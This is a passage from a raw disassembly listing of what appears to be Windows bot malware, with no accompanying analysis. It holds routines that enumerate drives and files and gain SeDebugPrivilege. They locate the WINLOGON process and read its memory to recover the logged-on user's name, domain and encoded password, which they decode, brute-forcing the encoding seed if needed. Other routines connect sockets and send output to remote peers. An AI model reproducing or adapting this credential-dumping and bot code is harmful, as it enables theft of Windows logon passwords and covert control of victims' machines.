eax call sub_41C056 lea eax, [ebp+var_118] push esi push eax call sub_41C056 lea eax, [ebp+var_98] push esi push eax call sub_41C056 add esp, 18h loc_4170A1: ; CODE XREF: sub_416F9A+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416F9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4170B5 proc near ; CODE XREF: sub_417187+17p ; sub_417187+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416F9A push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C840 add esp, 10h test eax, eax jnz short loc_417128 push ebx push ebx call sub_416F09 pop ecx push eax push offset unk_43A548 lea eax, [ebp+var_500] push 200h push eax call sub_41C150 add esp, 14h jmp short loc_41715C ; --------------------------------------------------------------------------- loc_417128: ; CODE XREF: sub_4170B5+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_416F09 pop ecx push eax push offset unk_43A50C lea eax, [ebp+var_500] push 200h push eax call sub_41C150 add esp, 20h loc_41715C: ; CODE XREF: sub_4170B5+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 lea eax, [ebp+var_500] push eax call sub_4157A5 add esp, 18h pop edi pop esi pop ebx leave retn sub_4170B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417187 proc near ; CODE XREF: sub_401B66+24BBp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_4171A8 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4170B5 add esp, 10h jmp short loc_417207 ; --------------------------------------------------------------------------- loc_4171A8: ; CODE XREF: sub_417187+9j push esi push edi push ebx push ebx call dword_4CDBCC ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_41BCA5 pop ecx mov edi, eax push edi push esi call dword_4CDBCC ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_4171FE loc_4171CC: ; CODE XREF: sub_417187+75j push offset aA_3 ; "A:\\" push esi call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_4171EF push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4170B5 add esp, 10h loc_4171EF: ; CODE XREF: sub_417187+54j push esi call sub_41B7B0 lea esi, [esi+eax+1] pop ecx cmp [esi], bl jnz short loc_4171CC loc_4171FE: ; CODE XREF: sub_417187+43j push edi call sub_41B881 pop ecx pop edi pop esi loc_417207: ; CODE XREF: sub_417187+1Fj pop ebx pop ebp retn sub_417187 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41720A proc near ; DATA XREF: sub_401B66+67A3o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_41B7B0 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_41725F lea eax, [ebp+var_114] push eax call sub_41B7B0 pop ecx mov [ebp+eax+var_115], bl loc_41725F: ; CODE XREF: sub_41720A+3Fj lea eax, [ebp+var_218] push eax push offset unk_43A5A8 lea eax, [ebp+var_49C] push 200h push eax call sub_41C150 add esp, 10h cmp [ebp+var_8], ebx jnz short loc_4172A4 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_409982 add esp, 14h loc_4172A4: ; CODE XREF: sub_41720A+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_417322 push eax lea eax, [ebp+var_49C] push offset dword_43A588 push eax call sub_41C056 add esp, 24h cmp [ebp+var_8], ebx jnz short loc_417302 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_409982 add esp, 14h loc_417302: ; CODE XREF: sub_41720A+D6j lea eax, [ebp+var_49C] push eax call sub_4157A5 push [ebp+var_10] call sub_40B2A3 pop ecx pop ecx push ebx call dword_4280CC ; ExitThread pop edi pop esi pop ebx sub_41720A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417322 proc near ; CODE XREF: sub_41720A+B9p ; sub_417322+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset dword_43A5EC push esi push eax call sub_41C150 mov edi, dword_428000 add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset dword_42AB08 jz short loc_4173DF loc_41736E: ; CODE XREF: sub_417322+BBj test [ebp+var_144], 10h jz short loc_4173CB cmp [ebp+var_118], 2Eh jnz short loc_417392 cmp [ebp+var_117], 0 jz short loc_4173CB cmp [ebp+var_117], 2Eh jz short loc_4173CB loc_417392: ; CODE XREF: sub_417322+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_41C150 push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_417322 add esp, 2Ch mov [ebp+arg_14], eax loc_4173CB: ; CODE XREF: sub_417322+53j ; sub_417322+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] call dword_42811C ; FindNextFileA test eax, eax jnz short loc_41736E loc_4173DF: ; CODE XREF: sub_417322+4Aj push [ebp+var_4] call dword_428110 ; FindClose push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_41C150 add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_417465 loc_417416: ; CODE XREF: sub_417322+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset dword_43A5D0 push 200h push eax call sub_41C150 push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 28h lea eax, [ebp+var_144] push eax push esi call dword_42811C ; FindNextFileA test eax, eax jnz short loc_417416 loc_417465: ; CODE XREF: sub_417322+F2j push esi call dword_428110 ; FindClose mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_417322 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417474 proc near ; DATA XREF: sub_401B66+1BF6o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] rep movsd xor esi, esi inc esi mov [eax+90h], esi call sub_41B0AF cmp eax, esi mov [ebp+var_4], eax jz short loc_4174B3 cmp eax, 2 jz short loc_4174B3 push offset unk_43A7C8 jmp loc_4175F2 ; --------------------------------------------------------------------------- loc_4174B3: ; CODE XREF: sub_417474+2Ej ; sub_417474+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419E0C pop ecx test eax, eax pop ecx jz loc_4175ED push ebx push offset aNtdll_dll ; "NTDLL.DLL" call dword_4280B8 ; LoadLibraryA mov esi, dword_4280BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi ; GetProcAddress push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D6BA4, eax call esi ; GetProcAddress push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D6B98, eax call esi ; GetProcAddress push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D6DA8, eax call esi ; GetProcAddress push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D6BA0, eax call esi ; GetProcAddress mov dword_4D6B9C, eax call sub_417646 test eax, eax mov [ebp+arg_0], eax jz loc_4175C0 mov esi, dword_428140 mov edi, 400h mov ebx, offset dword_4D5B98 push edi push ebx push offset aUsername ; "USERNAME" call esi ; GetEnvironmentVariableW push edi mov edi, offset dword_4D6398 push edi push offset aUserdomain ; "USERDOMAIN" call esi ; GetEnvironmentVariableW cmp [ebp+var_4], 1 push offset dword_4D6DAC push [ebp+arg_0] jnz short loc_41756C call sub_4177CF jmp short loc_417571 ; --------------------------------------------------------------------------- loc_41756C: ; CODE XREF: sub_417474+EFj call sub_417973 loc_417571: ; CODE XREF: sub_417474+F6j pop ecx test eax, eax pop ecx jz short loc_4175B9 cmp dword_4D6DAC, 0 jnz short loc_4175A0 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_43A690 push 200h push eax call sub_41C150 add esp, 18h jmp short loc_4175D3 ; --------------------------------------------------------------------------- loc_4175A0: ; CODE XREF: sub_417474+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_4175B0 call sub_417AA0 jmp short loc_4175B5 ; --------------------------------------------------------------------------- loc_4175B0: ; CODE XREF: sub_417474+133j call sub_417B37 loc_4175B5: ; CODE XREF: sub_417474+13Aj pop ecx push eax jmp short loc_4175C5 ; --------------------------------------------------------------------------- loc_4175B9: ; CODE XREF: sub_417474+101j push offset unk_43A654 jmp short loc_4175C5 ; --------------------------------------------------------------------------- loc_4175C0: ; CODE XREF: sub_417474+B6j push offset unk_43A628 loc_4175C5: ; CODE XREF: sub_417474+143j ; sub_417474+14Aj lea eax, [ebp+var_29C] push eax call sub_41C056 pop ecx pop ecx loc_4175D3: ; CODE XREF: sub_417474+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419E0C pop ecx pop ecx push [ebp+var_8] call dword_42813C ; FreeLibrary pop ebx jmp short loc_417600 ; --------------------------------------------------------------------------- loc_4175ED: ; CODE XREF: sub_417474+4Ej push offset unk_43A5F4 loc_4175F2: ; CODE XREF: sub_417474+3Aj lea eax, [ebp+var_29C] push eax call sub_41C056 pop ecx pop ecx loc_417600: ; CODE XREF: sub_417474+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_417627 push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409982 add esp, 14h loc_417627: ; CODE XREF: sub_417474+191j lea eax, [ebp+var_29C] push eax call sub_4157A5 push [ebp+var_18] call sub_40B2A3 pop ecx pop ecx push esi call dword_4280CC ; ExitThread pop edi pop esi sub_417474 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417646 proc near ; CODE XREF: sub_417474+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_42814C mov ebx, 100h push edi push ebx push 8 call esi ; GetProcessHeap mov edi, dword_428148 push eax call edi ; RtlAllocateHeap mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D6BA4 ; ZwQuerySystemInformation push ebp push 0 call esi ; GetProcessHeap push eax call dword_428144 ; RtlFreeHeap push [esp+28h+var_14] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D6BA4 ; ZwQuerySystemInformation test eax, eax jnz short loc_417733 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_417733 xor ecx, ecx mov ebx, ebp inc ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_417733 loc_4176CF: ; CODE XREF: sub_417646+EBj cmp word ptr [ebx+8], 5 jnz short loc_417726 push 0 push 0 call dword_4D6B98 ; RtlCreateQueryDebugBuffer mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D6DA8 ; RtlQueryProcessDebugInformation test eax, eax jnz short loc_417717 mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41DDAA pop ecx push eax call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_41774B loc_417717: ; CODE XREF: sub_417646+AAj test edi, edi jz short loc_417722 push edi call dword_4D6BA0 ; RtlDestroyQueryDebugBuffer loc_417722: ; CODE XREF: sub_417646+D3j mov eax, [esp+28h+var_10] loc_417726: ; CODE XREF: sub_417646+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_4176CF loc_417733: ; CODE XREF: sub_417646+6Dj ; sub_417646+7Aj ... xor edi, edi loc_417735: ; CODE XREF: sub_417646+17Dj push ebp push 0 call esi ; GetProcessHeap push eax call dword_428144 ; RtlFreeHeap mov eax, edi loc_417743: ; CODE XREF: sub_417646+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_41774B: ; CODE XREF: sub_417646+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_4177B4 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417761: ; CODE XREF: sub_417646+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41DDAA pop ecx push eax call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_4177C8 push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41DDAA pop ecx push eax call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_4177A6 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_4177A6: ; CODE XREF: sub_417646+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417761 loc_4177B4: ; CODE XREF: sub_417646+10Fj test edi, edi jz short loc_4177BF push edi call dword_4D6BA0 ; RtlDestroyQueryDebugBuffer loc_4177BF: ; CODE XREF: sub_417646+170j mov edi, [esp+28h+var_4] jmp loc_417735 ; --------------------------------------------------------------------------- loc_4177C8: ; CODE XREF: sub_417646+13Cj xor eax, eax jmp loc_417743 sub_417646 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177CF proc near ; CODE XREF: sub_417474+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call dword_428084 ; OpenProcess cmp eax, esi mov [ebp+var_4], eax jnz short loc_4177F8 xor eax, eax jmp loc_417970 ; --------------------------------------------------------------------------- loc_4177F8: ; CODE XREF: sub_4177CF+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call dword_428158 ; GetSystemInfo push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_42814C push 8 call esi ; GetProcessHeap mov edi, dword_428148 push eax call edi ; RtlAllocateHeap lea ecx, [ebp+var_8] mov ebx, dword_428154 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jnz short loc_417848 xor esi, esi jmp loc_417963 ; --------------------------------------------------------------------------- loc_417848: ; CODE XREF: sub_4177CF+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call dword_428150 ; VirtualQueryEx test eax, eax jz loc_417952 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_417952 test [ebp+var_2B], 1 jnz loc_417952 push [ebp+var_34] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jz loc_417952 loc_4178AB: ; CODE XREF: sub_4177CF+110j push edi push offset dword_4D5B98 call sub_427002 pop ecx test eax, eax pop ecx jnz short loc_4178D3 lea eax, [edi+200h] push eax push offset dword_4D6398 call sub_427002 pop ecx test eax, eax pop ecx jz short loc_4178E3 loc_4178D3: ; CODE XREF: sub_4177CF+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jb short loc_4178AB jmp short loc_417952 ; --------------------------------------------------------------------------- loc_4178E3: ; CODE XREF: sub_4177CF+102j test edi, edi jz short loc_417952 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call dword_428118 ; FileTimeToLocalFileTime test eax, eax jz short loc_41791E lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call dword_428114 ; FileTimeToSystemTime test eax, eax jz short loc_41791E mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_41791E: ; CODE XREF: sub_4177CF+12Bj ; sub_4177CF+13Dj movzx eax, byte ptr [edi+42Dh] mov dword_4D6DB8, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D6DB0, eax mov dword_4D6DB4, edi loc_417952: ; CODE XREF: sub_4177CF+90j ; sub_4177CF+A2j ... push [ebp+arg_0] push 0 call esi ; GetProcessHeap push eax call dword_428144 ; RtlFreeHeap mov esi, [ebp+var_10] loc_417963: ; CODE XREF: sub_4177CF+74j push [ebp+var_4] call dword_42806C ; CloseHandle pop edi mov eax, esi pop ebx loc_417970: ; CODE XREF: sub_4177CF+24j pop esi leave retn sub_4177CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417973 proc near ; CODE XREF: sub_417474:loc_41756Cp var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push [ebp+arg_0] push 0 push 410h call dword_428084 ; OpenProcess test eax, eax mov [ebp+arg_0], eax jnz short loc_417992 leave retn ; --------------------------------------------------------------------------- loc_417992: ; CODE XREF: sub_417973+1Bj mov eax, [ebp+arg_4] push ebx push esi push edi and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call dword_428158 ; GetSystemInfo mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417A5A mov edi, dword_42814C loc_4179BC: ; CODE XREF: sub_417973+E1j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call dword_428150 ; VirtualQueryEx test eax, eax jz short loc_417A48 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_417A4E test [ebp+var_13], 1 jnz short loc_417A4E push ecx push 8 call edi ; GetProcessHeap push eax call dword_428148 ; RtlAllocateHeap mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call dword_428154 ; ReadProcessMemory test eax, eax jz short loc_417A3A push offset dword_4D5B98 push esi call sub_427002 pop ecx test eax, eax pop ecx jnz short loc_417A3A lea eax, [esi+400h] push offset dword_4D6398 push eax call sub_427002 pop ecx test eax, eax pop ecx jz short loc_417A6C loc_417A3A: ; CODE XREF: sub_417973+9Dj ; sub_417973+AEj push esi push 0 call edi ; GetProcessHeap push eax call dword_428144 ; RtlFreeHeap jmp short loc_417A4E ; --------------------------------------------------------------------------- loc_417A48: ; CODE XREF: sub_417973+5Bj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_417A4E: ; CODE XREF: sub_417973+6Fj ; sub_417973+75j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_4179BC loc_417A5A: ; CODE XREF: sub_417973+3Dj xor esi, esi loc_417A5C: ; CODE XREF: sub_417973+12Bj push [ebp+arg_0] call dword_42806C ; CloseHandle mov eax, esi pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417A6C: ; CODE XREF: sub_417973+C5j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D6DB0, ebx mov dword_4D6DB4, eax cmp [eax], cl jnz short loc_417A8E cmp [eax+1], cl jz short loc_417A96 loc_417A8E: ; CODE XREF: sub_417973+114j ; sub_417973+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417A8E loc_417A96: ; CODE XREF: sub_417973+119j mov eax, [ebp+arg_4] xor esi, esi inc esi mov [eax], ecx jmp short loc_417A5C sub_417973 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AA0 proc near ; CODE XREF: sub_417474+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D6DAC push esi mov esi, dword_42814C push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi ; GetProcessHeap push eax call dword_428148 ; RtlAllocateHeap mov ecx, dword_4D6DAC mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D6DB4 push eax call near ptr sub_41CAE0 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D6DB8 push eax call dword_4D6B9C ; RtlRunDecodeUnicodeString push [ebp+var_4] mov edi, offset dword_4D6BA8 push offset dword_4D5B98 push offset dword_4D6398 push [ebp+arg_0] push offset dword_43A818 push 200h push edi call sub_41C150 add esp, 1Ch push [ebp+var_4] push 0 call esi ; GetProcessHeap push eax call dword_428144 ; RtlFreeHeap mov eax, edi pop edi pop esi leave retn sub_417AA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B37 proc near ; CODE XREF: sub_417474:loc_4175B0p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D6DAC push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call dword_42814C ; GetProcessHeap push eax call dword_428148 ; RtlAllocateHeap and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D6398 mov edi, 200h mov esi, offset dword_4D5998 loc_417B7D: ; CODE XREF: sub_417B37+FAj mov eax, dword_4D6DAC add eax, eax push eax push dword_4D6DB4 push [ebp+var_14] call near ptr sub_41CAE0 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D6B9C ; RtlRunDecodeUnicodeString mov eax, dword_4D6DAC and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_417BF2 loc_417BBA: ; CODE XREF: sub_417B37+B3j cmp [ebp+var_8], 0 jz short loc_417C0F mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417BDE cmp byte ptr [ecx+1], 0 jnz short loc_417BDE cmp dl, 20h jnb short loc_417BD8 and [ebp+var_8], 0 loc_417BD8: ; CODE XREF: sub_417B37+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417BE2 loc_417BDE: ; CODE XREF: sub_417B37+90j ; sub_417B37+96j and [ebp+var_8], 0 loc_417BE2: ; CODE XREF: sub_417B37+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_417BBA cmp [ebp+var_8], 0 jz short loc_417C0F loc_417BF2: ; CODE XREF: sub_417B37+81j push [ebp+var_14] push offset dword_4D5B98 push ebx push [ebp+arg_0] push offset dword_43A818 push edi push esi call sub_41C150 add esp, 1Ch jmp short loc_417C27 ; --------------------------------------------------------------------------- loc_417C0F: ; CODE XREF: sub_417B37+87j ; sub_417B37+B9j push offset dword_4D5B98 push ebx push [ebp+arg_0] push offset dword_43A868 push edi push esi call sub_41C150 add esp, 18h loc_417C27: ; CODE XREF: sub_417B37+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_417B7D push [ebp+var_14] push 0 call dword_42814C ; GetProcessHeap push eax call dword_428144 ; RtlFreeHeap mov eax, esi pop edi pop esi pop ebx leave retn sub_417B37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C50 proc near ; CODE XREF: sub_4161D7+33p ; sub_41673A+BCp ... var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CDCE4 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_417CCC push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BD60 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CDC64 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CDCA4 ; inet_addr cmp eax, esi jnz short loc_417CB1 push [ebp+arg_0] call dword_4CDCE8 ; gethostbyname test eax, eax jz short loc_417CCC mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417CB1: ; CODE XREF: sub_417C50+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CDC0C ; connect cmp eax, esi jnz short loc_417CD0 push edi call dword_4CDCFC ; closesocket loc_417CCC: ; CODE XREF: sub_417C50+1Bj ; sub_417C50+58j mov eax, esi jmp short loc_417CD2 ; --------------------------------------------------------------------------- loc_417CD0: ; CODE XREF: sub_417C50+73j mov eax, edi loc_417CD2: ; CODE XREF: sub_417C50+7Ej pop edi pop esi leave retn sub_417C50 endp ; =============== S U B R O U T I N E ======================================= sub_417CD6 proc near ; CODE XREF: sub_401B66+325Ap ; sub_401B66+32C3p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_42B120 ; "\n" push edi call sub_41C690 pop ecx mov esi, offset dword_4D6DC4 pop ecx loc_417CEE: ; CODE XREF: sub_417CD6+42j cmp dword ptr [esi-4], 1 jnz short loc_417D0C cmp dword ptr [esi], 0 jbe short loc_417D0C push 0 push edi call sub_41B7B0 pop ecx push eax push edi push dword ptr [esi] call dword_4CDCB4 ; send loc_417D0C: ; CODE XREF: sub_417CD6+1Cj ; sub_417CD6+21j add esi, 210h cmp esi, offset dword_4DD4E4 jl short loc_417CEE pop edi pop esi retn sub_417CD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417D1D proc near ; CODE XREF: sub_417E12+14Fp var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42E0C8 ; " " push edi push esi push [ebp+arg_0] call sub_41C8C4 xor edi, edi pop ecx inc edi pop ecx mov [ebp+var_20], eax xor ebx, ebx loc_417D41: ; CODE XREF: sub_417D1D+35j push esi push ebx call sub_41C8C4 mov 